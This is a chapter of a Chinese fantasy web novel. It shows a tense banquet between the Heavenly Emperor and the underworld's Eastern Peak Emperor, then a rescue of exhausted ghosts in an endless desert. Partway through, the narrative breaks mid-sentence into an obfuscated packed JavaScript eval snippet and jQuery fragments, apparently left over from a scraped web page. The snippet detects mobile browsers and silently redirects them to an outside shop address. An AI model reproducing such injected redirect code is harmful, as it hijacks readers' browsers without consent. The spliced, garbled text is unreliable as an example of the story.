277. 无垠黄沙接阴魂4

作品:《谁家好仙跑去地府打工

    “怎会醉?”


    瑶池盛景,云海浮动,欢声涌涌,好不热闹。


    独独正上方,比之别处,因为这一句话,更冷了几分。


    天帝笑容淡淡,刚反问完,又语不停歇,接着道:“不醉仙,不醉人,亦不醉鬼。东岳帝君莫要谦虚,本君知你来天界是要去天道下问命,这只是茶酒,醉不倒,不会耽误正事。”


    抬了抬手,他命一名侍酒的仙君,为隗晎面前见底的玉樽倒满酒,劝道:“难得东岳帝君愿赴天界宴,天界自是要先好好款待一番。”


    隗晎抿唇浅笑,双手端起玉樽一饮而尽,道:“恭敬不如从命。”


    一杯见底,唇齿品尝,他道:“倒是比冥界的更醇香。”


    天帝笑容不变,眸光却柔和了两分,道:“犹记继任此位前,本君也是个闲不住的修行者,经常去冥界走动…”


    语音一顿,他脸上堆上了一份歉意。


    然而,那‘歉意’却带了不明意味的挑衅,他改口道:“不知怎地,茶酒也醉仙,本君真是健忘,那时还不是冥界,是天界管辖下的六天宫在执掌地下。”


    隗晎没有争辩,而是端起玉樽,浅浅抿了一口。


    天帝叹道:“六天宫内的鬼仙确实不如现今这一批,本君记得,那会儿他们做事,从不过心,也不尽责。”


    “疏忽至极,他们在差使一只小鬼办事时,未分辨所送东西上的阳气分量,就把东西交给了小鬼。那只小鬼尚未走出天宫的路,便灰飞烟灭了。”


    执樽引酒,他回味道:“在本君面前,就那样没了。”


    隗晎放下手中玉樽,避重就轻,赞道:“难怪此酒这般独特,冥界茶酒的方子,居然是天帝所留。”


    天帝诚然地笑了笑,道:“不错,饮茶酒辨鬼身的法子,确实是本君提供。”


    目光一凝,他的笑容微滞,肃然道:“只是不曾想,这竟成了冥界蓄养能才的办法。”


    隗晎不怒也不恼,捧起玉樽,敬道:“天帝无私心,本君替冥界谢过。”


    豪饮入口,他翻转玉樽,道:“不管做仙做鬼,图的不过是四海安定,天帝的心意,本君知晓,也懂得,万不会借用冥界之势,谋不善之举。”


    天帝并未松口,直言道:“天界可是在冥界丢了一名司命…东岳帝君以何弥补天界呢?”


    这话说得极其巧妙,是在「冥界」「丢了」一名「司命」,而不是「丢了」一名「司命」在「冥界」。


    隗晎并不意外他会提这件事,毕竟石谷里石妖的事闹得那般大,风有情归天后,又被他冷淡在外。


    他十分明白这天帝是什么心思,浅笑道:“前不久,雷部飞升上来的稚童,天帝瞧着如何?”


    天帝蹙眉道:“他是冥界的鬼?”


    隗晎点点头,认真道:“冥界可每十载,允得魂体小鬼入六道轮回,有能力者,许凭一世之能,飞升上天。”


    端起玉樽,他向前一送,道:“天帝觉得此法如何?”


    天帝一愣,容颜舒展,同样端起玉樽,向前举起,道:“东岳帝君为冥界所做的一切,本君知晓,亦无私心,至于帝君的提议,本君便替天界应下了。”


    两人相视一笑,共饮了这一樽酒。


    这边喝得有声有色,那边却有几人,吃酒吃菜,一度难以下咽。


    南泥道:“听说这几月以来,帝君天天往天上跑?上君呢?他不管上君了?”


    乐正词媿猛喝了一口酒,道:“还真是巧,风真君这段时间日日在天界却见不着人。”


    路了绿疑惑道:“乐正你去雷部了?”


    杨战息捂嘴偷乐,道:“她来看天权星君的渡劫雷何时降下。”


    路了绿和珪光长长地“哦”了一声,像是吃了一个天大的瓜。


    宋世平呢喃道:“乐正说的不错,自从石妖之事结束后,风真君很不对劲。”


    甘歌提了一壶酒放在凉离手边,难得接茬道:“天道封锁,真君心烦。”


    溪亖音乐呵呵道:“他心情不好,我心情可就太好了,想当年,他落雷是一点也不手下留情,打得姐姐嘴角直渗血。”


    南泥宠溺道:“就数你最记仇了。”


    溪亖音撒娇道:“你也得跟我一起把这帐记着,我们要多找他几轮麻烦,好好替姐姐讨回一些。”


    宋世平捂嘴咳嗽,道:“真君…不似你们想的那般,他其实将上君看得很重,不然也不会帮着我们向天帝隐瞒石妖之事。”


    杨战息眼神关切,看向身旁咳嗽之人,撤了酒盏,换了一杯温茶,道:“不舒服?”


    宋世平摇了摇头。


    这时,南泥挑眉扫了一眼正上方,道:“也说不定是帝君早把一切都告知天帝了呢?”


    凉离道:“天道封锁,天帝未把此事交予风真君,看来那件事影响不小。”


    乐正词媿盯着上方你来我往,虚情假意的两名帝君,蹙眉道:“不知为何,总有些不安。”


    溪亖音提议道:“我们身体也恢复得差不多了,明日要不一起去京都走走?”


    路了绿道:“无令,怎么下去?”


    溪亖音一把抱住乐正词媿的胳膊,道:“天权星君尚在人间,也不知道有没有遇见危险?”


    乐正词媿无奈一笑,两指在溪亖音额心弹了一下,惩罚道:“就你鬼机灵。”


    南泥道:“南海喜事,我们也可绕道走一圈…秦晋之好,总不能只有南海忙碌,天界之仙毫无表示吧。”


    珪光夸道:“这注意好啊!”


    凉离笑了笑,右手食指在桌上叩叩点点,道:“世九与小音还算有点交情,是可走一遭…”


    突然,甘歌一把按住凉离指挥安排的手,在桌下幻出雷锤法器,亮出其上异象,道:“动了。”


    凉离肃然道:“是上君?”


    甘歌道:“嗯。”


    与此同时,溪亖音惊叫了一声,站了起来,刹那,宴席间一片寂静,正上方相谈甚欢的两人,也都停了下来,朝这边看来。


    她成了焦点,张开的嘴,却不知道怎么应对这番景象。


    好在,乐正词媿跟着起了身,向周围赔罪道:“本君失手打翻了一壶琼浆,惊扰了仙友,还望诸位见谅。”


    原先的热闹并没有回复,她眉目一扫,冷冷地朝上方揖了一礼,道:“不继续吗?”


    她的话实在没有温度,表面上听着像是在恳求,实际上给人的感觉又像是在威胁。


    隗晎神色微沉,会意乐正词媿的意思,举起玉樽,朝天帝敬酒道:“此酒醇厚,实在难得,今日一尝,心中甚喜,诸位仙君,请。”


    天帝笑了笑,端起了面前的酒樽。


    有了冥君开口,天帝表率,其他人哪里敢继续僵持,纷纷同天帝一样,端起了面前的酒杯同饮,继续宴席。


    南泥猛地拽下溪亖音,道:“怎么了?平日里,这种场合,你也不会如此莽撞…”


    乐正词媿缓缓坐了下来,道:“说说吧。”


    溪亖音一手按在腰间的囊带上,紧张道:“姐…姐姐,姐姐动用蓬莱水了。”


    闻言,凉离道:“刚刚甘歌的雷锤也有反应,是上君。”


    宋世平举杯遮面,偷瞧正上方那青影的反应,道:“帝君腰间依旧未悬通印,想来是在上君身上,为何你们的法器动了,帝君的通印没有?”


    杨战息道:“蓬莱水加雷锤,这不是在下冷雨吗?”


    路了绿问道:“上君懂布雨?”


    乐正词媿道:“上君不懂,但若只是单纯的想洒水降温呢?”


    凉离附和道:“鬼,喜阴、忌阳。”


    顿了顿,他分析道:“许是上君落入困境,不至于要命,才不得已催动两件法器。”


    溪亖音道:“小晎哥哥给姐姐准备了一袋子的好东西,怎么会…啊啊啊啊!!有件事,不知道你们听说过没有?”


    不等他们回答,她直接道:“世九来天界寻我的时候,说了一件不曾传上天界的消息,榜栏上浮出了一件榜事,事关一位大人物,这不得了的人物,他正巧是一只万年亡魂。”


    甘歌道:“榜事?”


    宋世平道:“天界榜令都经风真君之手下达…”


    杨战息道:“雷部并未有这样的榜事。”


    几人讨论着,突然,除开溪亖音和甘歌的法器,其余几人的东西,都有一瞬震动。


    乐正词媿扫了一眼上方的青影,道:“你们也有感觉?”


    其他人前后不一,都浅浅“嗯”了一声。


    溪亖音道:“什么感觉?怎么了?”


    乐正词媿道:“上君应该是遇到麻烦了。”


    垂眸看了看案前的酒食,她道:“吃好了,便都各自想办法离席吧,「天权星君」在人间突遇险境,需诸位协助。”


    一语毕,她直接起身,朝上方最尊贵的二人点了点头,便径直离开了此地。


    凉离和甘歌相视一笑,二人一前一后起了身,凉离身子一歪,甘歌双手一接,二人比乐正词媿还洒脱,什么招呼都没有打,便离开了宴席。


    珪光和路了绿参与这种活动,与那五斗星君一样,只顾闷头吃喝,吃好喝好,随后会无声消失,这一回,二人亦是如同往常,随意捡了一颗桌上的果子,就离开了。


    这边一下子走了一半的人,宴席刚开始,便有点稀稀疏疏,看着甚是怪异。


    宋世平窘然地捂嘴咳嗽了两声,杨战息见他脸色无异,故意提高嗓门,道:“哥哥,你怎么了?是伤还没有好吗?你不要再吃酒了,你起来,我扶你回去。”


    说完,他满脸歉意,向四方告罪道:“我哥哥刚捡回一条命,诸位慢用,我们今日只能陪到此时了。”


    紧接着,他连拖带拉,扶走了双耳通红的宋世平。


    九人的座,不到一盏茶的功夫,人都没有了。


    溪亖音眼珠子直转,低声道:“怎么办?我们怎么离席?”


    南泥干咽道:“你捂住脸,趴在桌上,我有办法。”


    溪亖音道:“可别叫别人瞧出异常了。”


    南泥道:“不会,他们只会觉得是巧合。”


    溪亖音道:“嗯嗯,你办事我还是放心。”


    于是,她依南泥之言,捂住脸,趴在了桌案上。


    啊——!!!!


    南泥竟是将她打横抱了起来,在一众惊呼声中,他们二人以最张扬的方式,离开了那地方。


    见状,天帝刚喝进嘴里的一口酒,差点都喷了出来。


    窘然地,他一边推手,示意侍酒的仙君给隗晎斟酒,一边沉着脸,天道:“司命不在以后,这后续飞升的仙,不仅身体素质不好,也缺乏管束了,风有情当真是越发懒散。”


    隗晎并不应他的话,望着那空空的一角,目光暗了又暗。


    在天帝催促他饮酒的时候,他猛地歪垂脑袋,一手支在额穴揉了揉,道:“天帝恕罪,本君不善酒力,要不今日就到此为止吧,本君去天道瞧上一眼本君的神格,若是无碍,便回泰山休憩了。”


    天帝碰上玉樽的手一滞,收了回来,端坐身姿,道:“好吧,帝君随本君来吧。”


    隗晎道:“天帝为本君领路?这不太好吧…”


    做直身,他一扫脸上酒气,直言问道:“天道如今管束如此严格?是有神格陨落了吗?”


    而今,却无一位仙君离世的消息散出,所以…这需要特别隐藏消息的神格,拿到是第五茗的?


    他心里如是猜测着,便听见天帝浅笑道:“东岳帝君原来不是要关心自己的神格?本君就说那日见你与司命关系匪浅,怎么会疑心司命动你神格?”


    隗晎忽地一笑,撑手伸出一指,揉了揉额角,道:“天帝多虑了,本君仅是担心自己的神格。”


    天帝道:“既然担心,那就一起去看看吧。”


    隗晎的神格怎会有异。


    最近冥界因为他神格出现的动荡,都是他自己弄出来的事情。


    因为,他把剩余的功德全送到了京都城隍庙,为洗脱冥界与第五茗新生神格之事的嫌疑,他那一段时间,忍住了思念的煎熬,一直在泰山等着京都的好消息。


    可是一日过去,又一日过去…


    不知不觉,一月时光就没有了。


    怀晓送来的消息,第五茗已将功德烧用完毕,京都上空未见渡劫天象。


    隗晎心中有疑惑,本想叫风有情去天道下查看一番,谁知,天道竟是被天帝亲自封锁了。


    故此,他一边四处谋取更多功德送往京都,一边震荡自身神格,引发了点动静,寻了一个可以频繁上天界的借口。


    见天道的确无法私下进入,他这才等着这一次宴会,觅得机会与天帝谈判。


    果不其然,隗晎的神格安然无恙地挂在天道之下。


    而天神神格的位置,天帝并未给他解开封锁,他连一点金泽都没有见到。


    从天道出来,他便借口散酒气,独自一人慢慢地往回走。


    该说不说,天下之事,无巧不成。


    那早早离席的九人,往天界的云海深处走去,隗晎留了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930377|171191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个心眼,往回走的时候,一路都在回想那方天上地下、人间妖界所对应的地界。


    无垠黄沙!!!


    当这几个字出现在他脑海中的时候,来不及思索太多,他便一边奔回九人消失的方向,一边引法探寻爻仁的气息。


    他寄在爻仁上的青丝不过片刻,便给了回应…


    人,果真在无垠黄沙。


    心中一慌,他直接跳入云海,飞身下界。


    下方,黄沙漫天,在沙子卷动的间隙,能隐约瞧见下方黑压压的一片。


    隗晎心中略有思量,两指凝法,从眼前拂过。


    神眼汇聚,他在下方努力寻找,无奈这片地界太大,死气又过于浓郁,要想在这里觅得一只鬼的下落,堪比登天。


    好在,找鬼不行,寻那灵气十足的仙人,却是容易。


    锁定九点星光之处,他登时朝那方赶去,尚未落地,便在半途焦急问道:“上君在哪里!!”


    九人齐齐抬头,不是自说自话,就是闭唇不语。


    隗晎焦上加怒,紧着眼前的情况,一边驱散黄沙火雨,一边落在溪亖音身旁,瞧着不远处地上碎裂的尸瓮,呵斥道:“不自量力!”


    这只尸瓮是他放入爻仁里的宝贝之一。


    第五茗嫌弃尸瓮种类繁多,普遍又都奇形怪状,所以他照第五茗的喜好,特意炼制了一个普通款式。


    此尸瓮进过地狱火,受恶鬼滋扰数月,可容纳三十万鬼魂,不是什么易碎的东西。


    目光从那堆碎片收回,他责道:“不自量力…”


    溪亖音脸颊上的泪痕还没被烤干,听了他的话,眼珠子一转,委屈道:“我们不自量力…姐姐都没有找你,只找了我们,你能力大又有什么用!”


    南泥收了力,赶到溪亖音身边,拉住她,劝道:“好了,帝君这副模样,显然也是急匆匆从宴席上赶来的,我们少说两句。”


    转而,他对隗晎揖了一礼,抬头示意了前方的将士鬼魂,道:“上君有所嘱托,让我们护好他们,帝君既然来了,保鬼,你应该比我们有经验,还是帮一把手吧。”


    隗晎默不作语,须臾,在袖囊里掏出了十张冥钱黄纸,替换了这九人的站位,为将士鬼魂撑起了一片阴界。


    烈日不消,火雨降尽,阴风徐徐舞动,盘坐在地的将士鬼魂,皆情难自禁地兴叹出口。


    隗晎面色也冷静了下来,瞧着陆续赶来的其他几人,问道:“上君在哪里?”


    凉离揖了一礼,道:“追鬼去了。”


    杨战息道:“瞧数量,应该有近千名。”


    隗晎余光扫了眼头顶的烈日,道:“人往哪方去了?”


    乐正词媿道:“鬼是朝四面八方跑的,上君是先去的东南角。”


    南泥提议道:“帝君要不寻一寻鬼气?”


    甘歌看了南泥一眼,摇了摇头,道:“此地无生气,寻鬼气遍布都是。”


    溪亖音道:“不是有法宝吗?”


    说到这里,她手指掐诀,感受蓬莱水的方位,谁知,此法还没有走出一礼地,便被热腾腾的黄沙搅散了。


    她嘟囔道:“这热气真奇怪,竟能吞噬我的法术。”


    凉离道:“先前探路的时候,我也发现了。”


    杨战息特别不合时宜地道:“帝君该不会也是一样的情况…吧?”


    隗晎瞪了他一眼,冷冷地道:“都在这里待着,不得私自行动,我去找上君。”


    没有正面回应,便是最好的回应,九人俱是一震,这才开始对此地生出了几分警惕。


    突然,珪光指着远处,道:“那…那方又卷风沙了。”


    凉离眸光一凝,手从眼前拂过,神色松了下来,道:“不是沙尘,是上君。”


    听他之言,众人频频侧头,看向隗晎。


    “…”


    “…”


    …


    他们身旁哪还有这一人啊,凑巧,远处卷起的沙尘,正啃食了一株主动扑入的青色生机。


    “上君!”


    第五茗一愣,侧头在肩膀上的衣料蹭了蹭,擦掉了脸上的黄沙。


    自以为还算得体地,她朝声音传来的方向,笑应道:“隗七,你来了啊。”


    这几百只鬼魂并有能力跑太远,不过受烈日和热砂炙烤,他们续不出力气,听从第五茗的号令,跟她回去。


    是以,她不得已,把贴身带的冥钱黄纸拿了出来,还脱了外袍,绞成长绫,捆了他们,一路强拖回来。


    她一只手紧紧缠拽长绫,一手高举招魂幡,蓬头垢面,黄沙沾身,步伐虚晃,叫隗晎看得心头一揪。


    凝法而上,隗晎大臂一展,拦腰抱住第五茗,另一手,迅速迎上第五茗高举的招魂幡,道:“我来。”


    眼睛迷了沙,看不太真切,第五茗嗅到熟悉的气息,向前靠了靠,并没有松开手,道:“是血祭幡,认主的,我还拿得动。”


    隗晎包裹住那手和那幡,凌空一顿,迟疑了一会儿,用法力慢慢托举着,道:“你辛苦了。”


    受这感触,第五茗满足地呻吟了一声,道:“好凉快…”


    一路忍着阳气的鞭笞,她没疯没叫,这会儿落进隗晎的怀抱中,鬼体有了冥君阴气裹挟,到让她没忍住喟叹出口。


    隗晎眉头一蹙,道:“上君此幡是为何而祭?”


    得了一时爽,第五茗竟差点把正事忘了,从隗晎怀里出来,她道:“没啥大事,不用紧张,送他们归队而已。”


    隗晎点点头,道:“我帮你。”


    第五茗道:“好。”


    二人执手向前,将这数百名鬼魂安置回了队伍中。


    第五茗强撑到现在,已是不易,事情了毕,招魂幡缓缓落了下来,她手软脚软,魂体上悠悠地冒着白烟,倏地,她朝隗晎肩头栽去,惊得旁边注视的几人,齐齐大喊。


    南泥冲刺拉着溪亖音冲刺而上,道:“上君!”


    溪亖音愕然道:“姐姐!!”


    乐正词媿唤道:“小心…”


    宋世平提醒隗晎道:“帝君。”


    杨战息道:“倒了!倒了!!”


    路了绿提心吊胆,道:“不要。”


    珪光向前伸出手,仿佛要隔空扶住倒下的第五茗,道:“上君…”


    甘歌道:“不好”


    凉离肃然道:“果然没有了。”


    应声,隗晎瞬间反应,转身接住了第五茗,紧张道:“上君!”


    第五茗大口呼气,道:“没…没事。为我解一解阳灼,不会…不会有事。”